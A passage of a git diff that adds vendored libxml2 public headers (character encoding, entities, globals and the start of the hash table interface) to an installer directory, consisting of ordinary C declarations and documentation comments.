XML_CHAR_ENCODING_UCS4LE= 4, /* UCS-4 little endian */ + XML_CHAR_ENCODING_UCS4BE= 5, /* UCS-4 big endian */ + XML_CHAR_ENCODING_EBCDIC= 6, /* EBCDIC uh! */ + XML_CHAR_ENCODING_UCS4_2143=7, /* UCS-4 unusual ordering */ + XML_CHAR_ENCODING_UCS4_3412=8, /* UCS-4 unusual ordering */ + XML_CHAR_ENCODING_UCS2= 9, /* UCS-2 */ + XML_CHAR_ENCODING_8859_1= 10,/* ISO-8859-1 ISO Latin 1 */ + XML_CHAR_ENCODING_8859_2= 11,/* ISO-8859-2 ISO Latin 2 */ + XML_CHAR_ENCODING_8859_3= 12,/* ISO-8859-3 */ + XML_CHAR_ENCODING_8859_4= 13,/* ISO-8859-4 */ + XML_CHAR_ENCODING_8859_5= 14,/* ISO-8859-5 */ + XML_CHAR_ENCODING_8859_6= 15,/* ISO-8859-6 */ + XML_CHAR_ENCODING_8859_7= 16,/* ISO-8859-7 */ + XML_CHAR_ENCODING_8859_8= 17,/* ISO-8859-8 */ + XML_CHAR_ENCODING_8859_9= 18,/* ISO-8859-9 */ + XML_CHAR_ENCODING_2022_JP= 19,/* ISO-2022-JP */ + XML_CHAR_ENCODING_SHIFT_JIS=20,/* Shift_JIS */ + XML_CHAR_ENCODING_EUC_JP= 21,/* EUC-JP */ + XML_CHAR_ENCODING_ASCII= 22 /* pure ASCII */ +} xmlCharEncoding; + +/** + * xmlCharEncodingInputFunc: + * @out: a pointer to an array of bytes to store the UTF-8 result + * @outlen: the length of @out + * @in: a pointer to an array of chars in the original encoding + * @inlen: the length of @in + * + * Take a block of chars in the original encoding and try to convert + * it to an UTF-8 block of chars out. + * + * Returns the number of bytes written, -1 if lack of space, or -2 + * if the transcoding failed. + * The value of @inlen after return is the number of octets consumed + * if the return value is positive, else unpredictiable. + * The value of @outlen after return is the number of octets consumed. + */ +typedef int (* xmlCharEncodingInputFunc)(unsigned char *out, int *outlen, + const unsigned char *in, int *inlen); + + +/** + * xmlCharEncodingOutputFunc: + * @out: a pointer to an array of bytes to store the result + * @outlen: the length of @out + * @in: a pointer to an array of UTF-8 chars + * @inlen: the length of @in + * + * Take a block of UTF-8 chars in and try to convert it to another + * encoding. + * Note: a first call designed to produce heading info is called with + * in = NULL. If stateful this should also initialize the encoder state. + * + * Returns the number of bytes written, -1 if lack of space, or -2 + * if the transcoding failed. + * The value of @inlen after return is the number of octets consumed + * if the return value is positive, else unpredictiable. + * The value of @outlen after return is the number of octets produced. + */ +typedef int (* xmlCharEncodingOutputFunc)(unsigned char *out, int *outlen, + const unsigned char *in, int *inlen); + + +/* + * Block defining the handlers for non UTF-8 encodings. + * If iconv is supported, there are two extra fields. + */ +#ifdef LIBXML_ICU_ENABLED +struct _uconv_t { + UConverter *uconv; /* for conversion between an encoding and UTF-16 */ + UConverter *utf8; /* for conversion between UTF-8 and UTF-16 */ +}; +typedef struct _uconv_t uconv_t; +#endif + +typedef struct _xmlCharEncodingHandler xmlCharEncodingHandler; +typedef xmlCharEncodingHandler *xmlCharEncodingHandlerPtr; +struct _xmlCharEncodingHandler { + char *name; + xmlCharEncodingInputFunc input; + xmlCharEncodingOutputFunc output; +#ifdef LIBXML_ICONV_ENABLED + iconv_t iconv_in; + iconv_t iconv_out; +#endif /* LIBXML_ICONV_ENABLED */ +#ifdef LIBXML_ICU_ENABLED + uconv_t *uconv_in; + uconv_t *uconv_out; +#endif /* LIBXML_ICU_ENABLED */ +}; + +#ifdef __cplusplus +} +#endif +#include +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Interfaces for encoding handlers. + */ +XMLPUBFUN void XMLCALL + xmlInitCharEncodingHandlers (void); +XMLPUBFUN void XMLCALL + xmlCleanupCharEncodingHandlers (void); +XMLPUBFUN void XMLCALL + xmlRegisterCharEncodingHandler (xmlCharEncodingHandlerPtr handler); +XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL + xmlGetCharEncodingHandler (xmlCharEncoding enc); +XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL + xmlFindCharEncodingHandler (const char *name); +XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL + xmlNewCharEncodingHandler (const char *name, + xmlCharEncodingInputFunc input, + xmlCharEncodingOutputFunc output); + +/* + * Interfaces for encoding names and aliases. + */ +XMLPUBFUN int XMLCALL + xmlAddEncodingAlias (const char *name, + const char *alias); +XMLPUBFUN int XMLCALL + xmlDelEncodingAlias (const char *alias); +XMLPUBFUN const char * XMLCALL + xmlGetEncodingAlias (const char *alias); +XMLPUBFUN void XMLCALL + xmlCleanupEncodingAliases (void); +XMLPUBFUN xmlCharEncoding XMLCALL + xmlParseCharEncoding (const char *name); +XMLPUBFUN const char * XMLCALL + xmlGetCharEncodingName (xmlCharEncoding enc); + +/* + * Interfaces directly used by the parsers. + */ +XMLPUBFUN xmlCharEncoding XMLCALL + xmlDetectCharEncoding (const unsigned char *in, + int len); + +XMLPUBFUN int XMLCALL + xmlCharEncOutFunc (xmlCharEncodingHandler *handler, + xmlBufferPtr out, + xmlBufferPtr in); + +XMLPUBFUN int XMLCALL + xmlCharEncInFunc (xmlCharEncodingHandler *handler, + xmlBufferPtr out, + xmlBufferPtr in); +XMLPUBFUN int XMLCALL + xmlCharEncFirstLine (xmlCharEncodingHandler *handler, + xmlBufferPtr out, + xmlBufferPtr in); +XMLPUBFUN int XMLCALL + xmlCharEncCloseFunc (xmlCharEncodingHandler *handler); + +/* + * Export a few useful functions + */ +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN int XMLCALL + UTF8Toisolat1 (unsigned char *out, + int *outlen, + const unsigned char *in, + int *inlen); +#endif /* LIBXML_OUTPUT_ENABLED */ +XMLPUBFUN int XMLCALL + isolat1ToUTF8 (unsigned char *out, + int *outlen, + const unsigned char *in, + int *inlen); +#ifdef __cplusplus +} +#endif + +#endif /* __XML_CHAR_ENCODING_H__ */ diff --git a/installer/libxml2/include/libxml/entities.h b/installer/libxml2/include/libxml/entities.h new file mode 100644 index 0000000..47b4573 --- /dev/null +++ b/installer/libxml2/include/libxml/entities.h @@ -0,0 +1,151 @@ +/* + * Summary: interface for the XML entities handling + * Description: this module provides some of the entity API needed + * for the parser and applications. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_ENTITIES_H__ +#define __XML_ENTITIES_H__ + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The different valid entity types. + */ +typedef enum { + XML_INTERNAL_GENERAL_ENTITY = 1, + XML_EXTERNAL_GENERAL_PARSED_ENTITY = 2, + XML_EXTERNAL_GENERAL_UNPARSED_ENTITY = 3, + XML_INTERNAL_PARAMETER_ENTITY = 4, + XML_EXTERNAL_PARAMETER_ENTITY = 5, + XML_INTERNAL_PREDEFINED_ENTITY = 6 +} xmlEntityType; + +/* + * An unit of storage for an entity, contains the string, the value + * and the linkind data needed for the linking in the hash table. + */ + +struct _xmlEntity { + void *_private; /* application data */ + xmlElementType type; /* XML_ENTITY_DECL, must be second ! */ + const xmlChar *name; /* Entity name */ + struct _xmlNode *children; /* First child link */ + struct _xmlNode *last; /* Last child link */ + struct _xmlDtd *parent; /* -> DTD */ + struct _xmlNode *next; /* next sibling link */ + struct _xmlNode *prev; /* previous sibling link */ + struct _xmlDoc *doc; /* the containing document */ + + xmlChar *orig; /* content without ref substitution */ + xmlChar *content; /* content or ndata if unparsed */ + int length; /* the content length */ + xmlEntityType etype; /* The entity type */ + const xmlChar *ExternalID; /* External identifier for PUBLIC */ + const xmlChar *SystemID; /* URI for a SYSTEM or PUBLIC Entity */ + + struct _xmlEntity *nexte; /* unused */ + const xmlChar *URI; /* the full URI as computed */ + int owner; /* does the entity own the childrens */ + int checked; /* was the entity content checked */ + /* this is also used to count entities + * references done from that entity + * and if it contains '<' */ +}; + +/* + * All entities are stored in an hash table. + * There is 2 separate hash tables for global and parameter entities. + */ + +typedef struct _xmlHashTable xmlEntitiesTable; +typedef xmlEntitiesTable *xmlEntitiesTablePtr; + +/* + * External functions: + */ + +#ifdef LIBXML_LEGACY_ENABLED +XMLPUBFUN void XMLCALL + xmlInitializePredefinedEntities (void); +#endif /* LIBXML_LEGACY_ENABLED */ + +XMLPUBFUN xmlEntityPtr XMLCALL + xmlNewEntity (xmlDocPtr doc, + const xmlChar *name, + int type, + const xmlChar *ExternalID, + const xmlChar *SystemID, + const xmlChar *content); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlAddDocEntity (xmlDocPtr doc, + const xmlChar *name, + int type, + const xmlChar *ExternalID, + const xmlChar *SystemID, + const xmlChar *content); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlAddDtdEntity (xmlDocPtr doc, + const xmlChar *name, + int type, + const xmlChar *ExternalID, + const xmlChar *SystemID, + const xmlChar *content); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlGetPredefinedEntity (const xmlChar *name); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlGetDocEntity (const xmlDoc *doc, + const xmlChar *name); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlGetDtdEntity (xmlDocPtr doc, + const xmlChar *name); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlGetParameterEntity (xmlDocPtr doc, + const xmlChar *name); +#ifdef LIBXML_LEGACY_ENABLED +XMLPUBFUN const xmlChar * XMLCALL + xmlEncodeEntities (xmlDocPtr doc, + const xmlChar *input); +#endif /* LIBXML_LEGACY_ENABLED */ +XMLPUBFUN xmlChar * XMLCALL + xmlEncodeEntitiesReentrant(xmlDocPtr doc, + const xmlChar *input); +XMLPUBFUN xmlChar * XMLCALL + xmlEncodeSpecialChars (const xmlDoc *doc, + const xmlChar *input); +XMLPUBFUN xmlEntitiesTablePtr XMLCALL + xmlCreateEntitiesTable (void); +#ifdef LIBXML_TREE_ENABLED +XMLPUBFUN xmlEntitiesTablePtr XMLCALL + xmlCopyEntitiesTable (xmlEntitiesTablePtr table); +#endif /* LIBXML_TREE_ENABLED */ +XMLPUBFUN void XMLCALL + xmlFreeEntitiesTable (xmlEntitiesTablePtr table); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlDumpEntitiesTable (xmlBufferPtr buf, + xmlEntitiesTablePtr table); +XMLPUBFUN void XMLCALL + xmlDumpEntityDecl (xmlBufferPtr buf, + xmlEntityPtr ent); +#endif /* LIBXML_OUTPUT_ENABLED */ +#ifdef LIBXML_LEGACY_ENABLED +XMLPUBFUN void XMLCALL + xmlCleanupPredefinedEntities(void); +#endif /* LIBXML_LEGACY_ENABLED */ + + +#ifdef __cplusplus +} +#endif + +# endif /* __XML_ENTITIES_H__ */ diff --git a/installer/libxml2/include/libxml/globals.h b/installer/libxml2/include/libxml/globals.h new file mode 100644 index 0000000..a9305aa --- /dev/null +++ b/installer/libxml2/include/libxml/globals.h @@ -0,0 +1,509 @@ +/* + * Summary: interface for all global variables of the library + * Description: all the global variables and thread handling for + * those variables is handled by this module. + * + * The bottom of this file is automatically generated by build_glob.py + * based on the description file global.data + * + * Copy: See Copyright for the status of this software. + * + * Author: Gary Pennington , Daniel Veillard + */ + +#ifndef __XML_GLOBALS_H +#define __XML_GLOBALS_H + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +XMLPUBFUN void XMLCALL xmlInitGlobals(void); +XMLPUBFUN void XMLCALL xmlCleanupGlobals(void); + +/** + * xmlParserInputBufferCreateFilenameFunc: + * @URI: the URI to read from + * @enc: the requested source encoding + * + * Signature for the function doing the lookup for a suitable input method + * corresponding to an URI. + * + * Returns the new xmlParserInputBufferPtr in case of success or NULL if no + * method was found. + */ +typedef xmlParserInputBufferPtr (*xmlParserInputBufferCreateFilenameFunc) (const char *URI, + xmlCharEncoding enc); + + +/** + * xmlOutputBufferCreateFilenameFunc: + * @URI: the URI to write to + * @enc: the requested target encoding + * + * Signature for the function doing the lookup for a suitable output method + * corresponding to an URI. + * + * Returns the new xmlOutputBufferPtr in case of success or NULL if no + * method was found. + */ +typedef xmlOutputBufferPtr (*xmlOutputBufferCreateFilenameFunc) (const char *URI, + xmlCharEncodingHandlerPtr encoder, + int compression); + +XMLPUBFUN xmlParserInputBufferCreateFilenameFunc +XMLCALL xmlParserInputBufferCreateFilenameDefault (xmlParserInputBufferCreateFilenameFunc func); +XMLPUBFUN xmlOutputBufferCreateFilenameFunc +XMLCALL xmlOutputBufferCreateFilenameDefault (xmlOutputBufferCreateFilenameFunc func); + +/* + * Externally global symbols which need to be protected for backwards + * compatibility support. + */ + +#undef docbDefaultSAXHandler +#undef htmlDefaultSAXHandler +#undef oldXMLWDcompatibility +#undef xmlBufferAllocScheme +#undef xmlDefaultBufferSize +#undef xmlDefaultSAXHandler +#undef xmlDefaultSAXLocator +#undef xmlDoValidityCheckingDefaultValue +#undef xmlFree +#undef xmlGenericError +#undef xmlStructuredError +#undef xmlGenericErrorContext +#undef xmlStructuredErrorContext +#undef xmlGetWarningsDefaultValue +#undef xmlIndentTreeOutput +#undef xmlTreeIndentString +#undef xmlKeepBlanksDefaultValue +#undef xmlLineNumbersDefaultValue +#undef xmlLoadExtDtdDefaultValue +#undef xmlMalloc +#undef xmlMallocAtomic +#undef xmlMemStrdup +#undef xmlParserDebugEntities +#undef xmlParserVersion +#undef xmlPedanticParserDefaultValue +#undef xmlRealloc +#undef xmlSaveNoEmptyTags +#undef xmlSubstituteEntitiesDefaultValue +#undef xmlRegisterNodeDefaultValue +#undef xmlDeregisterNodeDefaultValue +#undef xmlLastError +#undef xmlParserInputBufferCreateFilenameValue +#undef xmlOutputBufferCreateFilenameValue + +/** + * xmlRegisterNodeFunc: + * @node: the current node + * + * Signature for the registration callback of a created node + */ +typedef void (*xmlRegisterNodeFunc) (xmlNodePtr node); +/** + * xmlDeregisterNodeFunc: + * @node: the current node + * + * Signature for the deregistration callback of a discarded node + */ +typedef void (*xmlDeregisterNodeFunc) (xmlNodePtr node); + +typedef struct _xmlGlobalState xmlGlobalState; +typedef xmlGlobalState *xmlGlobalStatePtr; +struct _xmlGlobalState +{ + const char *xmlParserVersion; + + xmlSAXLocator xmlDefaultSAXLocator; + xmlSAXHandlerV1 xmlDefaultSAXHandler; + xmlSAXHandlerV1 docbDefaultSAXHandler; + xmlSAXHandlerV1 htmlDefaultSAXHandler; + + xmlFreeFunc xmlFree; + xmlMallocFunc xmlMalloc; + xmlStrdupFunc xmlMemStrdup; + xmlReallocFunc xmlRealloc; + + xmlGenericErrorFunc xmlGenericError; + xmlStructuredErrorFunc xmlStructuredError; + void *xmlGenericErrorContext; + + int oldXMLWDcompatibility; + + xmlBufferAllocationScheme xmlBufferAllocScheme; + int xmlDefaultBufferSize; + + int xmlSubstituteEntitiesDefaultValue; + int xmlDoValidityCheckingDefaultValue; + int xmlGetWarningsDefaultValue; + int xmlKeepBlanksDefaultValue; + int xmlLineNumbersDefaultValue; + int xmlLoadExtDtdDefaultValue; + int xmlParserDebugEntities; + int xmlPedanticParserDefaultValue; + + int xmlSaveNoEmptyTags; + int xmlIndentTreeOutput; + const char *xmlTreeIndentString; + + xmlRegisterNodeFunc xmlRegisterNodeDefaultValue; + xmlDeregisterNodeFunc xmlDeregisterNodeDefaultValue; + + xmlMallocFunc xmlMallocAtomic; + xmlError xmlLastError; + + xmlParserInputBufferCreateFilenameFunc xmlParserInputBufferCreateFilenameValue; + xmlOutputBufferCreateFilenameFunc xmlOutputBufferCreateFilenameValue; + + void *xmlStructuredErrorContext; +}; + +#ifdef __cplusplus +} +#endif +#include +#ifdef __cplusplus +extern "C" { +#endif + +XMLPUBFUN void XMLCALL xmlInitializeGlobalState(xmlGlobalStatePtr gs); + +XMLPUBFUN void XMLCALL xmlThrDefSetGenericErrorFunc(void *ctx, xmlGenericErrorFunc handler); + +XMLPUBFUN void XMLCALL xmlThrDefSetStructuredErrorFunc(void *ctx, xmlStructuredErrorFunc handler); + +XMLPUBFUN xmlRegisterNodeFunc XMLCALL xmlRegisterNodeDefault(xmlRegisterNodeFunc func); +XMLPUBFUN xmlRegisterNodeFunc XMLCALL xmlThrDefRegisterNodeDefault(xmlRegisterNodeFunc func); +XMLPUBFUN xmlDeregisterNodeFunc XMLCALL xmlDeregisterNodeDefault(xmlDeregisterNodeFunc func); +XMLPUBFUN xmlDeregisterNodeFunc XMLCALL xmlThrDefDeregisterNodeDefault(xmlDeregisterNodeFunc func); + +XMLPUBFUN xmlOutputBufferCreateFilenameFunc XMLCALL + xmlThrDefOutputBufferCreateFilenameDefault(xmlOutputBufferCreateFilenameFunc func); +XMLPUBFUN xmlParserInputBufferCreateFilenameFunc XMLCALL + xmlThrDefParserInputBufferCreateFilenameDefault( + xmlParserInputBufferCreateFilenameFunc func); + +/** DOC_DISABLE */ +/* + * In general the memory allocation entry points are not kept + * thread specific but this can be overridden by LIBXML_THREAD_ALLOC_ENABLED + * - xmlMalloc + * - xmlMallocAtomic + * - xmlRealloc + * - xmlMemStrdup + * - xmlFree + */ + +#ifdef LIBXML_THREAD_ALLOC_ENABLED +#ifdef LIBXML_THREAD_ENABLED +XMLPUBFUN xmlMallocFunc * XMLCALL __xmlMalloc(void); +#define xmlMalloc \ +(*(__xmlMalloc())) +#else +XMLPUBVAR xmlMallocFunc xmlMalloc; +#endif + +#ifdef LIBXML_THREAD_ENABLED +XMLPUBFUN xmlMallocFunc * XMLCALL __xmlMallocAtomic(void); +#define xmlMallocAtomic \ +(*(__xmlMallocAtomic())) +#else +XMLPUBVAR xmlMallocFunc xmlMallocAtomic; +#endif + +#ifdef LIBXML_THREAD_ENABLED +XMLPUBFUN xmlReallocFunc * XMLCALL __xmlRealloc(void); +#define xmlRealloc \ +(*(__xmlRealloc())) +#else +XMLPUBVAR xmlReallocFunc xmlRealloc; +#endif + +#ifdef LIBXML_THREAD_ENABLED +XMLPUBFUN xmlFreeFunc * XMLCALL __xmlFree(void); +#define xmlFree \ +(*(__xmlFree())) +#else +XMLPUBVAR xmlFreeFunc xmlFree; +#endif + +#ifdef LIBXML_THREAD_ENABLED +XMLPUBFUN xmlStrdupFunc * XMLCALL __xmlMemStrdup(void); +#define xmlMemStrdup \ +(*(__xmlMemStrdup())) +#else +XMLPUBVAR xmlStrdupFunc xmlMemStrdup; +#endif + +#else /* !LIBXML_THREAD_ALLOC_ENABLED */ +XMLPUBVAR xmlMallocFunc xmlMalloc; +XMLPUBVAR xmlMallocFunc xmlMallocAtomic; +XMLPUBVAR xmlReallocFunc xmlRealloc; +XMLPUBVAR xmlFreeFunc xmlFree; +XMLPUBVAR xmlStrdupFunc xmlMemStrdup; +#endif /* LIBXML_THREAD_ALLOC_ENABLED */ + +#ifdef LIBXML_DOCB_ENABLED +XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __docbDefaultSAXHandler(void); +#ifdef LIBXML_THREAD_ENABLED +#define docbDefaultSAXHandler \ +(*(__docbDefaultSAXHandler())) +#else +XMLPUBVAR xmlSAXHandlerV1 docbDefaultSAXHandler; +#endif +#endif + +#ifdef LIBXML_HTML_ENABLED +XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __htmlDefaultSAXHandler(void); +#ifdef LIBXML_THREAD_ENABLED +#define htmlDefaultSAXHandler \ +(*(__htmlDefaultSAXHandler())) +#else +XMLPUBVAR xmlSAXHandlerV1 htmlDefaultSAXHandler; +#endif +#endif + +XMLPUBFUN xmlError * XMLCALL __xmlLastError(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlLastError \ +(*(__xmlLastError())) +#else +XMLPUBVAR xmlError xmlLastError; +#endif + +/* + * Everything starting from the line below is + * Automatically generated by build_glob.py. + * Do not modify the previous line. + */ + + +XMLPUBFUN int * XMLCALL __oldXMLWDcompatibility(void); +#ifdef LIBXML_THREAD_ENABLED +#define oldXMLWDcompatibility \ +(*(__oldXMLWDcompatibility())) +#else +XMLPUBVAR int oldXMLWDcompatibility; +#endif + +XMLPUBFUN xmlBufferAllocationScheme * XMLCALL __xmlBufferAllocScheme(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlBufferAllocScheme \ +(*(__xmlBufferAllocScheme())) +#else +XMLPUBVAR xmlBufferAllocationScheme xmlBufferAllocScheme; +#endif +XMLPUBFUN xmlBufferAllocationScheme XMLCALL + xmlThrDefBufferAllocScheme(xmlBufferAllocationScheme v); + +XMLPUBFUN int * XMLCALL __xmlDefaultBufferSize(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlDefaultBufferSize \ +(*(__xmlDefaultBufferSize())) +#else +XMLPUBVAR int xmlDefaultBufferSize; +#endif +XMLPUBFUN int XMLCALL xmlThrDefDefaultBufferSize(int v); + +XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __xmlDefaultSAXHandler(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlDefaultSAXHandler \ +(*(__xmlDefaultSAXHandler())) +#else +XMLPUBVAR xmlSAXHandlerV1 xmlDefaultSAXHandler; +#endif + +XMLPUBFUN xmlSAXLocator * XMLCALL __xmlDefaultSAXLocator(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlDefaultSAXLocator \ +(*(__xmlDefaultSAXLocator())) +#else +XMLPUBVAR xmlSAXLocator xmlDefaultSAXLocator; +#endif + +XMLPUBFUN int * XMLCALL __xmlDoValidityCheckingDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlDoValidityCheckingDefaultValue \ +(*(__xmlDoValidityCheckingDefaultValue())) +#else +XMLPUBVAR int xmlDoValidityCheckingDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefDoValidityCheckingDefaultValue(int v); + +XMLPUBFUN xmlGenericErrorFunc * XMLCALL __xmlGenericError(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlGenericError \ +(*(__xmlGenericError())) +#else +XMLPUBVAR xmlGenericErrorFunc xmlGenericError; +#endif + +XMLPUBFUN xmlStructuredErrorFunc * XMLCALL __xmlStructuredError(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlStructuredError \ +(*(__xmlStructuredError())) +#else +XMLPUBVAR xmlStructuredErrorFunc xmlStructuredError; +#endif + +XMLPUBFUN void * * XMLCALL __xmlGenericErrorContext(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlGenericErrorContext \ +(*(__xmlGenericErrorContext())) +#else +XMLPUBVAR void * xmlGenericErrorContext; +#endif + +XMLPUBFUN void * * XMLCALL __xmlStructuredErrorContext(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlStructuredErrorContext \ +(*(__xmlStructuredErrorContext())) +#else +XMLPUBVAR void * xmlStructuredErrorContext; +#endif + +XMLPUBFUN int * XMLCALL __xmlGetWarningsDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlGetWarningsDefaultValue \ +(*(__xmlGetWarningsDefaultValue())) +#else +XMLPUBVAR int xmlGetWarningsDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefGetWarningsDefaultValue(int v); + +XMLPUBFUN int * XMLCALL __xmlIndentTreeOutput(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlIndentTreeOutput \ +(*(__xmlIndentTreeOutput())) +#else +XMLPUBVAR int xmlIndentTreeOutput; +#endif +XMLPUBFUN int XMLCALL xmlThrDefIndentTreeOutput(int v); + +XMLPUBFUN const char * * XMLCALL __xmlTreeIndentString(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlTreeIndentString \ +(*(__xmlTreeIndentString())) +#else +XMLPUBVAR const char * xmlTreeIndentString; +#endif +XMLPUBFUN const char * XMLCALL xmlThrDefTreeIndentString(const char * v); + +XMLPUBFUN int * XMLCALL __xmlKeepBlanksDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlKeepBlanksDefaultValue \ +(*(__xmlKeepBlanksDefaultValue())) +#else +XMLPUBVAR int xmlKeepBlanksDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefKeepBlanksDefaultValue(int v); + +XMLPUBFUN int * XMLCALL __xmlLineNumbersDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlLineNumbersDefaultValue \ +(*(__xmlLineNumbersDefaultValue())) +#else +XMLPUBVAR int xmlLineNumbersDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefLineNumbersDefaultValue(int v); + +XMLPUBFUN int * XMLCALL __xmlLoadExtDtdDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlLoadExtDtdDefaultValue \ +(*(__xmlLoadExtDtdDefaultValue())) +#else +XMLPUBVAR int xmlLoadExtDtdDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefLoadExtDtdDefaultValue(int v); + +XMLPUBFUN int * XMLCALL __xmlParserDebugEntities(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlParserDebugEntities \ +(*(__xmlParserDebugEntities())) +#else +XMLPUBVAR int xmlParserDebugEntities; +#endif +XMLPUBFUN int XMLCALL xmlThrDefParserDebugEntities(int v); + +XMLPUBFUN const char * * XMLCALL __xmlParserVersion(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlParserVersion \ +(*(__xmlParserVersion())) +#else +XMLPUBVAR const char * xmlParserVersion; +#endif + +XMLPUBFUN int * XMLCALL __xmlPedanticParserDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlPedanticParserDefaultValue \ +(*(__xmlPedanticParserDefaultValue())) +#else +XMLPUBVAR int xmlPedanticParserDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefPedanticParserDefaultValue(int v); + +XMLPUBFUN int * XMLCALL __xmlSaveNoEmptyTags(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlSaveNoEmptyTags \ +(*(__xmlSaveNoEmptyTags())) +#else +XMLPUBVAR int xmlSaveNoEmptyTags; +#endif +XMLPUBFUN int XMLCALL xmlThrDefSaveNoEmptyTags(int v); + +XMLPUBFUN int * XMLCALL __xmlSubstituteEntitiesDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlSubstituteEntitiesDefaultValue \ +(*(__xmlSubstituteEntitiesDefaultValue())) +#else +XMLPUBVAR int xmlSubstituteEntitiesDefaultValue; +#endif +XMLPUBFUN int XMLCALL xmlThrDefSubstituteEntitiesDefaultValue(int v); + +XMLPUBFUN xmlRegisterNodeFunc * XMLCALL __xmlRegisterNodeDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlRegisterNodeDefaultValue \ +(*(__xmlRegisterNodeDefaultValue())) +#else +XMLPUBVAR xmlRegisterNodeFunc xmlRegisterNodeDefaultValue; +#endif + +XMLPUBFUN xmlDeregisterNodeFunc * XMLCALL __xmlDeregisterNodeDefaultValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlDeregisterNodeDefaultValue \ +(*(__xmlDeregisterNodeDefaultValue())) +#else +XMLPUBVAR xmlDeregisterNodeFunc xmlDeregisterNodeDefaultValue; +#endif + +XMLPUBFUN xmlParserInputBufferCreateFilenameFunc * XMLCALL \ + __xmlParserInputBufferCreateFilenameValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlParserInputBufferCreateFilenameValue \ +(*(__xmlParserInputBufferCreateFilenameValue())) +#else +XMLPUBVAR xmlParserInputBufferCreateFilenameFunc xmlParserInputBufferCreateFilenameValue; +#endif + +XMLPUBFUN xmlOutputBufferCreateFilenameFunc * XMLCALL __xmlOutputBufferCreateFilenameValue(void); +#ifdef LIBXML_THREAD_ENABLED +#define xmlOutputBufferCreateFilenameValue \ +(*(__xmlOutputBufferCreateFilenameValue())) +#else +XMLPUBVAR xmlOutputBufferCreateFilenameFunc xmlOutputBufferCreateFilenameValue; +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* __XML_GLOBALS_H */ diff --git a/installer/libxml2/include/libxml/hash.h b/installer/libxml2/include/libxml/hash.h new file mode 100644 index 0000000..dc8ab7e --- /dev/null +++ b/installer/libxml2/include/libxml/hash.h @@ -0,0 +1,233 @@ +/* + * Summary: Chained hash tables + * Description: This module implements the hash table support used in + * various places in the library. + * + * Copy: See Copyright for the status of this software. + * + * Author: Bjorn Reese + */ + +#ifndef __XML_HASH_H__ +#define __XML_HASH_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The hash table. + */ +typedef struct _xmlHashTable xmlHashTable; +typedef xmlHashTable *xmlHashTablePtr; + +#ifdef __cplusplus +} +#endif + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Recent version of gcc produce a warning when a function pointer is assigned + * to an object pointer, or vice versa. The following macro is a dirty hack + * to allow suppression of the warning. If your architecture has function + * pointers which are a different size than a void pointer, there may be some + * serious trouble within the library. + */ +/** + * XML_CAST_FPTR: + * @fptr: pointer to a function + * + * Macro to do a casting from an object pointer to a + * function pointer without encountering a warning from + * gcc + * + * #define XML_CAST_FPTR(fptr) (*(void **)(&fptr)) + * This macro violated ISO C aliasing rules (gcc4 on s390 broke) + * so it is disabled now + */ + +#define XML_CAST_FPTR(fptr) fptr + + +/* + * function types: + */ +/** + * xmlHashDeallocator: + * @payload: the data in the hash + * @name: the name associated + * + * Callback to free data from a hash. + */ +typedef void (*xmlHashDeallocator)(void *payload, xmlChar *name); +/** + * xmlHashCopier: + * @payload: the data in the hash + * @name: the name associated + * + * Callback to copy data from a hash. + * + * Returns a copy of the data or NULL in case of error. + */ +typedef void *(*xmlHashCopier)(void *payload, xmlChar *name); +/** + * xmlHashScanner: + * @payload: the data in the hash + * @data: extra scannner data + * @name: the name associated + * + * Callback when scanning data in a hash with the simple scanner. + */ +typedef void (*xmlHashScanner)(void *payload, void *data, xmlChar *name); +/** + * xmlHashScannerFull: + * @payload: the data in the hash + * 